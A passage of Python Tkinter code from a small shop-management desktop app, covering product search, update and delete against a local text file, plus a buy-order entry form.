15))\r\n\t\tresults22_quantity[i].grid(row = i, column = 11)\r\n\r\n\t# Price\r\n\tresults22_price = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10]\r\n\tfor i in range(1, 11):\r\n\t\tresults22_price[i] = Label(fr222, font = (\"Arial\", 15))\r\n\t\tresults22_price[i].grid(row = i, column = 12)\r\n\r\n\tbtn_first22 = Button(fr222, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_first22.grid(row = 11, column = 6)\r\n\tbtn_prev22 = Button(fr222, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_prev22.grid(row = 11, column = 7)\r\n\tbtn_next22 = Button(fr222, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_next22.grid(row = 11, column = 8)\r\n\tbtn_end22 = Button(fr222, font = (\"Arial\", 15), relief = FLAT)\r\n\tbtn_end22.grid(row = 11, column = 9)\r\n\ticon_page22 = Label(fr222, font = (\"Arial\", 15))\r\n\ticon_page22.grid(row = 11, column = 12)\r\n\t\r\n\tfr221.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr222.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef pro2log22():\r\n\tx0 = scr22.winfo_x()\r\n\ty0 = scr22.winfo_y()\r\n\tscr22.destroy()\r\n\tscr02.deiconify()\r\n\tscr02.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset22():\r\n\tid_entry22.delete(0, END)\r\n\ttype_entry22.delete(0, END)\r\n\tsize_entry22.delete(0, END)\r\n\tbrand_entry22.delete(0, END)\r\n\ticon_id22.configure(image = icon_bg22)\r\n\ticon_type22.configure(image = icon_bg22)\r\n\ticon_size22.configure(image = icon_bg22)\r\n\ticon_brand22.configure(image = icon_bg22)\r\n\ticon_price22.configure(image = icon_bg22)\r\n\ttext_results22.configure(text = \"\")\r\n\r\n\tfor i in range(1, 11):\r\n\t\tresults22[i].configure(text = \"\")\r\n\t\tresults22_id[i].configure(text = \"\")\r\n\t\tresults22_type[i].configure(text = \"\")\r\n\t\tresults22_size[i].configure(text = \"\")\r\n\t\tresults22_brand[i].configure(text = \"\")\r\n\t\tresults22_quantity[i].configure(text = \"\")\r\n\t\tresults22_price[i].configure(text = \"\")\r\n\r\n\tbtn_first22.configure(text = \"\", command = donothing)\r\n\tbtn_prev22.configure(text = \"\", command = donothing)\r\n\tbtn_next22.configure(text = \"\", command = donothing)\r\n\tbtn_end22.configure(text = \"\", command = donothing)\r\n\ticon_page22.configure(text = \"\", relief = FLAT)\r\n\r\ndef search22(*arg):\r\n\tglobal numOfresults22\r\n\tglobal numOfpages22\r\n\tglobal page22\r\n\tglobal id221\r\n\tglobal type221\r\n\tglobal size221\r\n\tglobal brand221\r\n\tglobal quantity221\r\n\tglobal price221\r\n\t\r\n\tfile = open(\"product.txt\")\r\n\tlines = sum(1 for line in file)\r\n\tfile.seek(0)\r\n\tdata = []; id221 = []; type221 = []; size221 = []; brand221 = []; quantity221 = []; price221 = []\r\n\tfor i in range(0, lines):\r\n\t\tdata.append(file.readline()) \r\n\tfile.close()\r\n\r\n\tfor i in range(0, lines):\r\n\t\tsub = data[i].split()\r\n\t\tid221.append(sub[0])\r\n\t\ttype221.append(sub[1])\r\n\t\tsize221.append(sub[2])\r\n\t\tbrand221.append(sub[3])\r\n\t\tquantity221.append(sub[4])\r\n\t\tprice221.append(sub[5])\r\n\r\n\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\t\r\n\tfor i in range(0, len(type221)):\r\n\t\tif type221[i] == \"x\":\r\n\t\t\tid2.append(id221[i])\r\n\t\t\ttype2.append(type221[i])\r\n\t\t\tsize2.append(size221[i])\r\n\t\t\tbrand2.append(brand221[i])\r\n\t\t\tquantity2.append(quantity221[i])\r\n\t\t\tprice2.append(price221[i])\r\n\tid221 = id2; type221 = type2; size221 = size2; brand221 = brand2; quantity221 = quantity2; price221 = price2\r\n\tid2 = []; type2 = []; size2 = []; brand2 = []; quantity2 = []; price2 = []\r\n\r\n\tnumOfresults22 = len(type221)\r\n\tif (numOfresults22 == 0) or (numOfresults22 == 1):\r\n\t\ttext_results22.configure(text = \"%d result found\" %numOfresults22)\r\n\telse:\r\n\t\ttext_results22.configure(text = \"%d results found\" %numOfresults22)\r\n\tif numOfresults22 == 0:\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults22[i].configure(text = \"\")\r\n\t\t\tresults22_id[i].configure(text = \"\")\r\n\t\t\tresults22_type[i].configure(text = \"\")\r\n\t\t\tresults22_size[i].configure(text = \"\")\r\n\t\t\tresults22_brand[i].configure(text = \"\")\r\n\t\t\tresults22_quantity[i].configure(text = \"\")\r\n\t\t\tresults22_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tnumOfpages22 = ((numOfresults22 - 1) // 10) + 1\r\n\t\tbtn_first22.configure(text = \"1\", command = first22)\r\n\t\tbtn_prev22.configure(text = \"<\", command = prev22)\r\n\t\tbtn_next22.configure(text = \">\", command = next22)\r\n\t\tbtn_end22.configure(text = \"End\", command = end22)\r\n\t\tpage22 = 1\r\n\t\tshowResults22(page22)\r\n\r\ndef showResults22(index):\r\n\ticon_page22.configure(text = index, relief = GROOVE)\r\n\tif index == numOfpages22:\r\n\t\tfor i in range(1, numOfresults22 - 10*(numOfpages22 - 1) + 1):\r\n\t\t\tresults22[i].configure(text = 10*(numOfpages22 - 1) + i)\r\n\t\t\tresults22_id[i].configure(text = id221[10*(numOfpages22 - 1) + i - 1])\r\n\t\t\tresults22_type[i].configure(text = type221[10*(numOfpages22 - 1) + i - 1])\r\n\t\t\tresults22_size[i].configure(text = size221[10*(numOfpages22 - 1) + i - 1])\r\n\t\t\tresults22_brand[i].configure(text = brand221[10*(numOfpages22 - 1) + i - 1])\r\n\t\t\tresults22_quantity[i].configure(text = quantity221[10*(numOfpages22 - 1) + i - 1])\r\n\t\t\tresults22_price[i].configure(text = price221[10*(numOfpages22 - 1) + i - 1])\r\n\t\tif (numOfresults22 % 10) != 0:\r\n\t\t\tfor i in range((numOfresults22 % 10) + 1, 11):\r\n\t\t\t\tresults22[i].configure(text = \"\")\r\n\t\t\t\tresults22_id[i].configure(text = \"\")\r\n\t\t\t\tresults22_type[i].configure(text = \"\")\r\n\t\t\t\tresults22_size[i].configure(text = \"\")\r\n\t\t\t\tresults22_brand[i].configure(text = \"\")\r\n\t\t\t\tresults22_quantity[i].configure(text = \"\")\r\n\t\t\t\tresults22_price[i].configure(text = \"\")\r\n\telse:\r\n\t\tfor j in range(1, 11):\r\n\t\t\tresults22[j].configure(text = 10*(index - 1) + j)\r\n\t\t\tresults22_id[j].configure(text = id221[10*(index - 1) + j - 1])\r\n\t\t\tresults22_type[j].configure(text = type221[10*(index - 1) + j - 1])\r\n\t\t\tresults22_size[j].configure(text = size221[10*(index - 1) + j - 1])\r\n\t\t\tresults22_brand[j].configure(text = brand221[10*(index - 1) + j - 1])\r\n\t\t\tresults22_quantity[j].configure(text = quantity221[10*(index - 1) + j - 1])\r\n\t\t\tresults22_price[j].configure(text = price221[10*(index - 1) + j - 1])\r\n\r\n# Button for showing results\r\ndef first22():\r\n\tglobal page22\r\n\tpage22 = 1\r\n\tshowResults22(page22)\r\n\r\ndef prev22():\r\n\tglobal page22\r\n\tif page22 != 1:\r\n\t\tpage22 -= 1\r\n\t\tshowResults22(page22)\r\n\r\ndef next22():\r\n\tglobal page22\r\n\tif page22 != numOfpages22:\r\n\t\tpage22 += 1\r\n\t\tshowResults22(page22)\r\n\r\ndef end22():\r\n\tglobal page22\r\n\tpage22 = numOfpages22\r\n\tshowResults22(page22)\r\n\r\n# UPDATE\r\ndef update22():\r\n\tid220 = id_entry22.get()\r\n\ttype220 = type_entry22.get()\r\n\tsize220 = size_entry22.get()\r\n\tbrand220 = brand_entry22.get()\r\n\r\n\tbtn_first22.configure(text = \"\", command = donothing)\r\n\tbtn_prev22.configure(text = \"\", command = donothing)\r\n\tbtn_next22.configure(text = \"\", command = donothing)\r\n\tbtn_end22.configure(text = \"\", command = donothing)\r\n\ticon_page22.configure(text = \"\", relief = FLAT)\r\n\r\n\t# Check ID\r\n\tcheck_id = True\r\n\tif id220 == \"\":\r\n\t\tcheck_id = False\r\n\telse:\r\n\t\tcheck_id = id220.isdigit()\r\n\t\r\n\tf_id = False\r\n\tif check_id:\r\n\t\tf_id = True\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; id221 = []; type221 = []; quantity221 = []; price221 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tid221.append(sub[0])\r\n\t\t\ttype221.append(sub[1])\r\n\t\t\tquantity221.append(sub[4])\r\n\t\t\tprice221.append(sub[5])\r\n\t\tid2 = []; type2 = []; quantity2 = []; price2 = []\r\n\t\tfor i in range(0, len(id221)):\r\n\t\t\tif type221[i] == \"x\":\r\n\t\t\t\tid2.append(id221[i])\r\n\t\t\t\ttype2.append(type221[i])\r\n\t\t\t\tquantity2.append(quantity221[i])\r\n\t\t\t\tprice2.append(price221[i])\r\n\t\tid221 = id2; type221 = type2; quantity221 = quantity2; price221 = price2\r\n\t\tid2 = []; type2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tfor i in range(0, len(id221)):\r\n\t\t\tif id221[i] == id220:\r\n\t\t\t\tid2.append(id221[i])\r\n\t\t\t\ttype2.append(type221[i])\r\n\t\t\t\tquantity2.append(quantity221[i])\r\n\t\t\t\tprice2.append(price221[i])\r\n\t\t\t\tquantity220 = quantity221[i]\r\n\t\t\t\tprice220 = price221[i]\r\n\t\tid221 = id2; type221 = type2; quantity221 = quantity2; price221 = price2\r\n\t\tid2 = []; type2 = []; quantity2 = []; price2 = []\r\n\r\n\t\tif len(id221) > 0:\r\n\t\t\ticon_id22.configure(image = icon_true22)\r\n\t\telse:\r\n\t\t\tf_id = False\r\n\t\t\ticon_id22.configure(image = icon_notexist222)\r\n\telse:\r\n\t\ticon_id22.configure(image = icon_false22)\r\n\r\n\t# Check type\r\n\tcheck_type = True\r\n\tif type220 == \"\":\r\n\t\tcheck_type = False\r\n\telse:\r\n\t\ttype220 = type220.upper()  # Capitalize all letters of name\r\n\t\tfor i in range (0, len(type220)):\r\n\t\t\tif (ord(type220[i]) != 32) and ((ord(type220[i]) < 65) or (ord(type220[i]) > 90)):\r\n\t\t\t\tcheck_type = False\r\n\r\n\tif check_type:\r\n\t\ticon_type22.configure(image = icon_true22)\r\n\telse:\r\n\t\ticon_type22.configure(image = icon_false22)\r\n\r\n\t# Check size\r\n\tcheck_size = True\r\n\tif size220 == \"\":\r\n\t\tcheck_size = False\r\n\telse:\r\n\t\tcheck_size = size220.isdigit()\r\n\r\n\tif check_size:\r\n\t\ticon_size22.configure(image = icon_true22)\r\n\telse:\r\n\t\ticon_size22.configure(image = icon_false22)\r\n\r\n\t# Check brand\r\n\tcheck_brand = True\r\n\tif brand220 == \"\":\r\n\t\tcheck_brand = False\r\n\t\r\n\tif check_brand:\r\n\t\ticon_brand22.configure(image = icon_true22)\r\n\telse:\r\n\t\ticon_brand22.configure(image = icon_false22)\r\n\r\n\t# All checks are true \r\n\tif f_id and check_type and check_size and check_brand:\r\n\t\ttext_results22.configure(text = \"1 result found\")\r\n\t\tresults22[1].configure(text = \"1\")\r\n\t\tresults22_id[1].configure(text = id220)\r\n\t\tresults22_type[1].configure(text = \"x\")\r\n\t\tresults22_size[1].configure(text = \"0\")\r\n\t\tresults22_brand[1].configure(text = \"x\")\r\n\t\tresults22_quantity[1].configure(text = quantity220)\r\n\t\tresults22_price[1].configure(text = price220)\r\n\t\tfor i in range(2, 11):\r\n\t\t\tresults22[i].configure(text = \"\")\r\n\t\t\tresults22_id[i].configure(text = \"\")\r\n\t\t\tresults22_type[i].configure(text = \"\")\r\n\t\t\tresults22_size[i].configure(text = \"\")\r\n\t\t\tresults22_brand[i].configure(text = \"\")\r\n\t\t\tresults22_quantity[i].configure(text = \"\")\r\n\t\t\tresults22_price[i].configure(text = \"\")\r\n\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; id222 = []; type222 = []; size222 = []; brand222 = []; quantity222 = []; price222 = []\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tid222.append(sub[0])\r\n\t\t\ttype222.append(sub[1])\r\n\t\t\tsize222.append(sub[2])\r\n\t\t\tbrand222.append(sub[3])\r\n\t\t\tquantity222.append(sub[4])\r\n\t\t\tprice222.append(sub[5])\r\n\r\n\t\tfor i in range(0, len(id222)):\r\n\t\t\tif id222[i] == id220:\r\n\t\t\t\ttype220 = type220.upper()\r\n\t\t\t\ttype220 = type220.replace(\" \", \".\", 10)\r\n\t\t\t\tbrand220 = brand220.upper()\r\n\t\t\t\tbrand220 = brand220.replace(\" \", \".\", 10)\r\n\t\t\t\tdata[i] = id220 + \" \" + type220 + \" \" + size220 + \" \" + brand220 + \" \" + quantity220 + \" \" + price220 + \"\\n\"\r\n\t\t\t\tbreak\r\n\r\n\t\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to update this product's info?\") == 'yes':\r\n\t\t\tfile = open(\"product.txt\", \"r+\")\r\n\t\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\t\tfile.close()\r\n\r\n\t\t\t# Show\r\n\t\t\ttype220 = type220.lower()\r\n\t\t\ttype220 = type220.replace(\".\", \" \", 10)\r\n\t\t\ttype220 = type220.title()\r\n\t\t\tbrand220 = brand220.lower()\r\n\t\t\tbrand220 = brand220.replace(\".\", \" \", 10)\r\n\t\t\tbrand220 = brand220.title()\r\n\t\t\tresults22_id[1].configure(text = id220)\r\n\t\t\tresults22_type[1].configure(text = type220)\r\n\t\t\tresults22_size[1].configure(text = size220)\r\n\t\t\tresults22_brand[1].configure(text = brand220)\r\n\t\t\tresults22_quantity[1].configure(text = quantity220)\r\n\t\t\tresults22_price[1].configure(text = price220)\r\n\telse:\r\n\t\ttext_results22.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults22[i].configure(text = \"\")\r\n\t\t\tresults22_id[i].configure(text = \"\")\r\n\t\t\tresults22_type[i].configure(text = \"\")\r\n\t\t\tresults22_size[i].configure(text = \"\")\r\n\t\t\tresults22_brand[i].configure(text = \"\")\r\n\t\t\tresults22_quantity[i].configure(text = \"\")\r\n\t\t\tresults22_price[i].configure(text = \"\")\r\n\r\ndef delete22():\r\n\tbtn_first22.configure(text = \"\", command = donothing)\r\n\tbtn_prev22.configure(text = \"\", command = donothing)\r\n\tbtn_next22.configure(text = \"\", command = donothing)\r\n\tbtn_end22.configure(text = \"\", command = donothing)\r\n\ticon_page22.configure(text = \"\", relief = FLAT)\r\n\r\n\ticon_type22.configure(image = icon_bg22)\r\n\ticon_size22.configure(image = icon_bg22)\r\n\ticon_brand22.configure(image = icon_bg22)\r\n\r\n\tid220 = id_entry22.get()\r\n\t# Check_id\r\n\tcheck_id = True\r\n\tif id220 == \"\":\r\n\t\tcheck_id = False\r\n\telse:\r\n\t\tcheck_id = id220.isdigit()\r\n\t\r\n\tf_id = False\r\n\tif check_id:\r\n\t\tf_id = True\r\n\t\tfile = open(\"product.txt\")\r\n\t\tlines = sum(1 for line in file)\r\n\t\tfile.seek(0)\r\n\t\tdata = []; id221 = []; sub2 = \"\"; type221 = \"\"; size221 = \"\"; brand221 = \"\"; quantity221 = \"\"; price221 = \"\"\r\n\t\tfor i in range(0, lines):\r\n\t\t\tdata.append(file.readline()) \r\n\t\tfile.close()\r\n\r\n\t\tfor i in range(0, lines):\r\n\t\t\tsub = data[i].split()\r\n\t\t\tid221.append(sub[0])\r\n\t\t\t\r\n\t\tfor i in range(0, len(id221)):\r\n\t\t\tif id221[i] == id220:\r\n\t\t\t\tsub2 = data[i]\r\n\t\t\t\tsub3 = sub2.split()\r\n\t\t\t\tid221 = sub3[0]\r\n\t\t\t\ttype221 = sub3[1]\r\n\t\t\t\tsize221 = sub3[2]\r\n\t\t\t\tbrand221 = sub3[3]\r\n\t\t\t\tquantity221 = sub3[4]\r\n\t\t\t\tprice221 = sub3[5]\r\n\t\t\t\tbreak\r\n\t\t\r\n\t\tif sub2 != \"\":\r\n\t\t\ticon_id22.configure(image = icon_true22)\r\n\t\t\tdata.remove(sub2)\r\n\t\telse:\r\n\t\t\tf_id = False\r\n\t\t\ticon_id22.configure(image = icon_notexist222)\r\n\telse:\r\n\t\ticon_id22.configure(image = icon_false22)\r\n\r\n\tif f_id:\r\n\t\ttext_results22.configure(text = \"1 result found\")\r\n\t\tresults22[1].configure(text = \"1\")\r\n\t\tresults22_id[1].configure(text = id221)\r\n\t\tresults22_type[1].configure(text = type221)\r\n\t\tresults22_size[1].configure(text = size221)\r\n\t\tresults22_brand[1].configure(text = brand221)\r\n\t\tresults22_quantity[1].configure(text = quantity221)\r\n\t\tresults22_price[1].configure(text = price221)\r\n\r\n\t\tif messagebox.askquestion(\"Shop BK\", \"Do you really want to delete this product's info?\") == 'yes':\r\n\t\t\tfile = open(\"product.txt\", \"w\")\r\n\t\t\tfile.writelines([\"%s\" %item for item in data])\r\n\t\t\tfile.close()\r\n\r\n\t\t\t# Show\r\n\t\t\ttext_results22.configure(text = \"\")\r\n\t\t\ticon_id22.configure(image = icon_bg22)\r\n\t\t\tresults22[1].configure(text = \"\")\r\n\t\t\tresults22_id[1].configure(text = \"\")\r\n\t\t\tresults22_type[1].configure(text = \"\")\r\n\t\t\tresults22_size[1].configure(text = \"\")\r\n\t\t\tresults22_brand[1].configure(text = \"\")\r\n\t\t\tresults22_quantity[1].configure(text = \"\")\r\n\t\t\tresults22_price[1].configure(text = \"\")\r\n\telse:\r\n\t\ttext_results22.configure(text = \"\")\r\n\t\tfor i in range(1, 11):\r\n\t\t\tresults22[i].configure(text = \"\")\r\n\t\t\tresults22_id[i].configure(text = \"\")\r\n\t\t\tresults22_type[i].configure(text = \"\")\r\n\t\t\tresults22_size[i].configure(text = \"\")\r\n\t\t\tresults22_brand[i].configure(text = \"\")\r\n\t\t\tresults22_quantity[i].configure(text = \"\")\r\n\t\t\tresults22_price[i].configure(text = \"\")\r\n\r\n## TRANSACTION ##\r\ndef transaction2(*arg):\r\n\tglobal scr023\r\n\tglobal back023\r\n\r\n\tscr02.withdraw()\r\n\tscr023 = Toplevel(scr02)\r\n\tx0 = scr02.winfo_x()\r\n\ty0 = scr02.winfo_y()\r\n\tscr023.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr023.title(\"Function\")\r\n\tscr023.resizable(width = False, height = False)\r\n\tlogo(scr023, 1)\r\n\tscr023.protocol(\"WM_DELETE_WINDOW\", close)\r\n\r\n\tfr = Frame(scr023)\r\n\tLabel(fr, text = \"Hi Boss\", font = 30, fg = \"red\").grid(row = 0, pady = 10)\r\n\tButton(fr, text = \"3.1 Buy\", width = 20, font = (\"Tahoma\", 20), command = buy2).grid(row = 1, pady = 30)\r\n\tscr023.bind(\"1\", buy2)\r\n\t\r\n\tButton(fr, text = \"3.2 Sell\", width = 20, font = (\"Tahoma\", 20), command = sell2).grid(row = 2, pady = 30)\r\n\tscr023.bind(\"2\", sell2)\r\n\r\n\tback023 = PhotoImage(file = \"left.png\")\r\n\tButton(fr, image = back023, relief = FLAT, command = trans2func2).grid(row = 3, pady = 40)\r\n\t\t\r\n\tfr.grid(row = 1, pady = 20)\r\n\r\ndef trans2func2():\r\n\tx0 = scr023.winfo_x()\r\n\ty0 = scr023.winfo_y()\r\n\tscr023.destroy()\r\n\tscr02.deiconify()\r\n\tscr02.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\n## Buy\r\ndef buy2():\r\n\tglobal scr23\r\n\tglobal fr231\r\n\tglobal fr232\r\n\tglobal day_entry23\r\n\tglobal month_entry23\r\n\tglobal orderid_entry23\r\n\tglobal cusid_entry23\r\n\tglobal prodid_entry23\r\n\tglobal quantity_entry23\r\n\tglobal price_entry23\r\n\tglobal rs23\r\n\tglobal results23\r\n\tglobal results23_date\r\n\tglobal results23_orderid\r\n\tglobal results23_cusid\r\n\tglobal results23_prodid\r\n\tglobal results23_quantity\r\n\tglobal results23_price\r\n\tglobal icon_date23\r\n\tglobal icon_orderid23\r\n\tglobal icon_cusid23\r\n\tglobal icon_prodid23\r\n\tglobal icon_quantity23\r\n\tglobal icon_price23\r\n\tglobal icon_true23\r\n\tglobal icon_false23\r\n\tglobal icon_coincide23\r\n\tglobal icon_exist23\r\n\tglobal icon_notexist23\r\n\tglobal icon_bg23\r\n\tglobal back23\r\n\r\n\tscr023.withdraw()\r\n\tscr23 = Toplevel(scr023)\r\n\tx0 = scr023.winfo_x()\r\n\ty0 = scr023.winfo_y()\r\n\tscr23.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\tscr23.title(\"Buy\")\r\n\tscr23.resizable(width = False, height = False)\r\n\tscr23.protocol(\"WM_DELETE_WINDOW\", close)\r\n\tlogo(scr23, 12)\r\n\t\r\n\t## Info\r\n\tfr = Frame(scr23)\r\n\tfr231 = Frame(fr)\r\n\t\r\n\t# Date\r\n\tLabel(fr231, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 0, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr231).grid(row = 1)\r\n\tday = StringVar()\r\n\tday_entry23 = Entry(fr231, textvariable = day, width = 7, font = 30)\r\n\tday_entry23.grid(row = 0, column = 1, sticky = W)\r\n\r\n\tLabel(fr231, text = \"/\", font = (\"Tahoma\", 20)).grid(row = 0, column = 2)\r\n\t\r\n\tmonth = StringVar()\r\n\tmonth_entry23 = Entry(fr231, textvariable = month, width = 7, font = 30)\r\n\tmonth_entry23.grid(row = 0, column = 3, sticky = E)\r\n\r\n\t# OrderID\r\n\tLabel(fr231, text = \"OrderID\", font = (\"Tahoma\", 20)).grid(row = 2, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr231).grid(row = 3)\r\n\torderid = StringVar()\r\n\torderid_entry23 = Entry(fr231, textvariable = orderid, width = 20, font = 30)\r\n\torderid_entry23.grid(row = 2, column = 1, columnspan = 3, sticky = W)\r\n\t\r\n\t# CusID\r\n\tLabel(fr231, text = \"CusID\", font = (\"Tahoma\", 20)).grid(row = 4, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr231).grid(row = 5)\r\n\tcusid = StringVar()\r\n\tcusid_entry23 = Entry(fr231, textvariable = cusid, width = 20, font = 30)\r\n\tcusid_entry23.grid(row = 4, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# ProdID\r\n\tLabel(fr231, text = \"ProdID\", font = (\"Tahoma\", 20)).grid(row = 6, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr231).grid(row = 7)\r\n\tproid = StringVar()\r\n\tprodid_entry23 = Entry(fr231, textvariable = proid, width = 20, font = 30)\r\n\tprodid_entry23.grid(row = 6, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Quantity\r\n\tLabel(fr231, text = \"Quantity\", font = (\"Tahoma\", 20)).grid(row = 8, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr231).grid(row = 9)\r\n\tquantity = StringVar()\r\n\tquantity_entry23 = Entry(fr231, textvariable = quantity, width = 20, font = 30)\r\n\tquantity_entry23.grid(row = 8, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Price\r\n\tLabel(fr231, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 10, column = 0, sticky = W, padx = 30)\r\n\tLabel(fr231).grid(row = 11)\r\n\tprice = StringVar()\r\n\tprice_entry23 = Entry(fr231, textvariable = price, width = 20, font = 30)\r\n\tprice_entry23.grid(row = 10, column = 1, columnspan = 3, sticky = W)\r\n\r\n\t# Reset\r\n\trs23 = PhotoImage(file = \"reset.png\")\r\n\tButton(fr231, image = rs23, relief = FLAT, command = reset23).grid(row = 12, column = 1, sticky = W)\r\n\t\r\n\t# CREATE\r\n\tButton(fr231, text = \"CREATE\", font = (\"Tahoma\", 16), command = create23).grid(row = 12, column = 2, columnspan = 2, sticky = E)\r\n\tscr23.bind(\"<Return>\", create23)\r\n\r\n\t# Back to login\r\n\tback23 = PhotoImage(file = \"left.png\")\r\n\tButton(fr231, image = back23, relief = FLAT, command = buy2trans23).grid(row = 12, column = 0)\r\n\r\n\t# Check icons\r\n\ticon_true23 = PhotoImage(file = \"true.png\")\r\n\ticon_false23 = PhotoImage(file = \"false.png\")\r\n\ticon_exist23 = PhotoImage(file = \"exist.png\")\r\n\ticon_notexist23 = PhotoImage(file = \"notexist.png\")\r\n\ticon_coincide23 = PhotoImage(file = \"coincide.png\")\r\n\ticon_bg23 =  PhotoImage(file = \"bg.png\")\r\n\r\n\ticon_date23 = Label(fr231, image = icon_bg23)\r\n\ticon_date23.grid(row = 0, column = 6, padx = 20)\r\n\ticon_orderid23 = Label(fr231, image = icon_bg23)\r\n\ticon_orderid23.grid(row = 2, column = 6, padx = 20)\r\n\ticon_cusid23 = Label(fr231, image = icon_bg23)\r\n\ticon_cusid23.grid(row = 4, column = 6, padx = 20)\r\n\ticon_prodid23 = Label(fr231, image = icon_bg23)\r\n\ticon_prodid23.grid(row = 6, column = 6, padx = 20)\r\n\ticon_quantity23 = Label(fr231, image = icon_bg23)\r\n\ticon_quantity23.grid(row = 8, column = 6, padx = 20)\r\n\ticon_price23 = Label(fr231, image = icon_bg23)\r\n\ticon_price23.grid(row = 10, column = 6, padx = 20)\r\n\r\n\t## Results\r\n\tfr232 = Frame(fr)\r\n\tLabel(fr232, text = \"No.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 5, padx = 12)\r\n\tLabel(fr232, text = \"Date\", font = (\"Tahoma\", 20)).grid(row = 0, column = 6, padx = 12)\r\n\tLabel(fr232, text = \"OrderID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 7, padx = 12)\r\n\tLabel(fr232, text = \"CusID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 8, padx = 12)\r\n\tLabel(fr232, text = \"ProdID\", font = (\"Tahoma\", 20)).grid(row = 0, column = 9, padx = 12)\r\n\tLabel(fr232, text = \"Quan.\", font = (\"Tahoma\", 20)).grid(row = 0, column = 10, padx = 12)\r\n\tLabel(fr232, text = \"Price\", font = (\"Tahoma\", 20)).grid(row = 0, column = 11, padx = 12)\r\n\r\n\t# No.\r\n\tresults23 = Label(fr232, font = (\"Tahoma\", 20))\r\n\tresults23.grid(row = 1, column = 5)\r\n\r\n\t# Date\r\n\tresults23_date = Label(fr232, font = (\"Arial\", 15))\r\n\tresults23_date.grid(row = 1, column = 6)\r\n\r\n\t# OrderID\r\n\tresults23_orderid = Label(fr232, font = (\"Arial\", 15))\r\n\tresults23_orderid.grid(row = 1, column = 7)\r\n\r\n\t# CusID\r\n\tresults23_cusid = Label(fr232, font = (\"Arial\", 15))\r\n\tresults23_cusid.grid(row = 1, column = 8)\r\n\r\n\t# ProdID\r\n\tresults23_prodid = Label(fr232, font = (\"Arial\", 15))\r\n\tresults23_prodid.grid(row = 1, column = 9)\r\n\r\n\t# Quantity\r\n\tresults23_quantity = Label(fr232, font = (\"Arial\", 15))\r\n\tresults23_quantity.grid(row = 1, column = 10)\r\n\r\n\t# Price\r\n\tresults23_price = Label(fr232, font = (\"Arial\", 15))\r\n\tresults23_price.grid(row = 1, column = 11)\r\n\t\r\n\tfr231.grid(row = 0, rowspan = 100, column = 0, columnspan = 5)\r\n\tfr232.grid(row = 0, rowspan = 100, column = 5, columnspan = 5, sticky = \"nw\")\r\n\tfr.grid(row = 1)\r\n\r\ndef buy2trans23():\r\n\tx0 = scr23.winfo_x()\r\n\ty0 = scr23.winfo_y()\r\n\tscr23.destroy()\r\n\tscr023.deiconify()\r\n\tscr023.geometry(\"1200x700+%d+%d\" %(x0, y0))\r\n\r\ndef reset23():\r\n\tday_entry23.delete(0, END)\r\n\tmonth_entry23.delete(0, END)\r\n\torderid_entry23.delete(0, END)\r\n\tcusid_entry23.delete(0, END)\r\n\tprodid_entry23.delete(0, END)\r\n\tquantity_entry23.delete(0, END)\r\n\tprice_entry23.delete(0, END)\r\n\r\n\ticon_date23.configure(image = icon_bg23)\r\n\ticon_orderid23.configure(image = icon_bg23)\r\n\ticon_cusid23.configure(image = icon_bg23)\r\n\ticon_prodid23.configure(image = icon_bg23)\r\n\ticon_quantity23.configure(image = icon_bg23)\r\n\ticon_price23.configure(image = icon_bg23)\r\n\r\n\tresults23.configure(text = \"\")\r\n\tresults23_date.configure(text = \"\")\r\n\tresults23_orderid.configure(text = \"\")\r\n\tresults23_cusid.configure(text = \"\")\r\n\tresults23_prodid.configure(text = \"\")\r\n\tresults23_quantity.configure(text = \"\")\r\n\tresults23_price.configure(text = \"\")\r\n\r\ndef create23(*arg):\r\n\tday230 = day_entry23.get()\r\n\tmonth230 = month_entry23.get()\r\n\torderid230 = orderid_entry23.get()\r\n\tcusid230 = cusid_entry23.get()\r\n\tprodid230 = prodid_entry23.get()\r\n\tquantity230 = quantity_entry23.get()\r\n\tprice230 = price_entry23.get()\r\n\r\n\t# Check date\r\n\tcheck_date = True\r\n\tif day230 == \"\" or month230 == \"\":\r\n\t\tcheck_date = False\r\n\telse:\r\n\t\tif (day230.isdigit() == False or month230.isdigit() == False):\r\n\t\t\tcheck_date = False\r\n\t\telse:\r\n\t\t\td230 = 